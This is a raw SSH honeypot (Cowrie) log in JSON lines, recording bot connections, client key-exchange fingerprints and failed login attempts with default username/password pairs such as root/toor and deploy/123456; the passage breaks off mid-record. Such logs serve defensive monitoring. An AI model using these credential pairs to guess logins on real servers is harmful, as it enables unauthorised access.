{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.751820Z","src_ip":"5.196.136.131","session":"f466df2241f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:35.981460Z","src_ip":"5.196.136.131","session":"f466df2241f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:36.738637Z","src_ip":"91.92.40.176","session":"36025c6e91bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:37.058127Z","src_ip":"5.196.136.131","session":"f466df2241f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63655,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44134eb5415","protocol":"ssh","message":"New connection: 5.196.136.131:63655 (10.17.0.5:22) [session: f44134eb5415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:40.059727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:40.062852Z","src_ip":"5.196.136.131","session":"f44134eb5415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:40.138116Z","src_ip":"5.196.136.131","session":"f44134eb5415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:40.365563Z","src_ip":"5.196.136.131","session":"f44134eb5415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:41.443449Z","src_ip":"5.196.136.131","session":"f44134eb5415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":46017,"dst_ip":"10.17.0.5","dst_port":22,"session":"7578f2070396","protocol":"ssh","message":"New connection: 5.196.136.131:46017 (10.17.0.5:22) [session: 7578f2070396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:44.482735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:44.485594Z","src_ip":"5.196.136.131","session":"7578f2070396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:44.563357Z","src_ip":"5.196.136.131","session":"7578f2070396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:44.811084Z","src_ip":"5.196.136.131","session":"7578f2070396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:45.891620Z","src_ip":"5.196.136.131","session":"7578f2070396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43760,"dst_ip":"159.203.135.109","dst_port":22,"session":"22b3f29b43c9","protocol":"ssh","message":"New connection: 103.82.132.16:43760 (159.203.135.109:22) [session: 22b3f29b43c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:47.033613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:47.037640Z","src_ip":"103.82.132.16","session":"22b3f29b43c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:47.289724Z","src_ip":"103.82.132.16","session":"22b3f29b43c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110394","message":"login attempt [root/110394] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:48.047920Z","src_ip":"103.82.132.16","session":"22b3f29b43c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16938,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df2d2e01d84","protocol":"ssh","message":"New connection: 5.196.136.131:16938 (10.17.0.5:22) [session: 8df2d2e01d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:49.009187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:49.012568Z","src_ip":"5.196.136.131","session":"8df2d2e01d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:49.089064Z","src_ip":"5.196.136.131","session":"8df2d2e01d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:49.301342Z","src_ip":"103.82.132.16","session":"22b3f29b43c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:49.320854Z","src_ip":"5.196.136.131","session":"8df2d2e01d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:50.403131Z","src_ip":"5.196.136.131","session":"8df2d2e01d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.49.230.178","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"4419bf07b8eb","protocol":"ssh","message":"New connection: 82.49.230.178:33864 (10.17.0.5:22) [session: 4419bf07b8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:50.732228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:50.736035Z","src_ip":"82.49.230.178","session":"4419bf07b8eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:50.841802Z","src_ip":"82.49.230.178","session":"4419bf07b8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019!@#","message":"login attempt [root/unitedstates2019!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:51.157933Z","src_ip":"82.49.230.178","session":"4419bf07b8eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:52.265472Z","src_ip":"82.49.230.178","session":"4419bf07b8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14806,"dst_ip":"10.17.0.5","dst_port":22,"session":"56eeeef89d5c","protocol":"ssh","message":"New connection: 5.196.136.131:14806 (10.17.0.5:22) [session: 56eeeef89d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:53.412570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:53.416480Z","src_ip":"5.196.136.131","session":"56eeeef89d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:53.497588Z","src_ip":"5.196.136.131","session":"56eeeef89d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:53.745444Z","src_ip":"5.196.136.131","session":"56eeeef89d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:54.829741Z","src_ip":"5.196.136.131","session":"56eeeef89d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24614,"dst_ip":"10.17.0.5","dst_port":22,"session":"c984e3fdcc9f","protocol":"ssh","message":"New connection: 5.196.136.131:24614 (10.17.0.5:22) [session: c984e3fdcc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:57.739563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:57.744205Z","src_ip":"5.196.136.131","session":"c984e3fdcc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:57.819484Z","src_ip":"5.196.136.131","session":"c984e3fdcc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:58.046146Z","src_ip":"5.196.136.131","session":"c984e3fdcc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:59.124711Z","src_ip":"5.196.136.131","session":"c984e3fdcc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9701,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e47f723dac","protocol":"ssh","message":"New connection: 5.196.136.131:9701 (10.17.0.5:22) [session: d8e47f723dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:02.398988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:02.403312Z","src_ip":"5.196.136.131","session":"d8e47f723dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.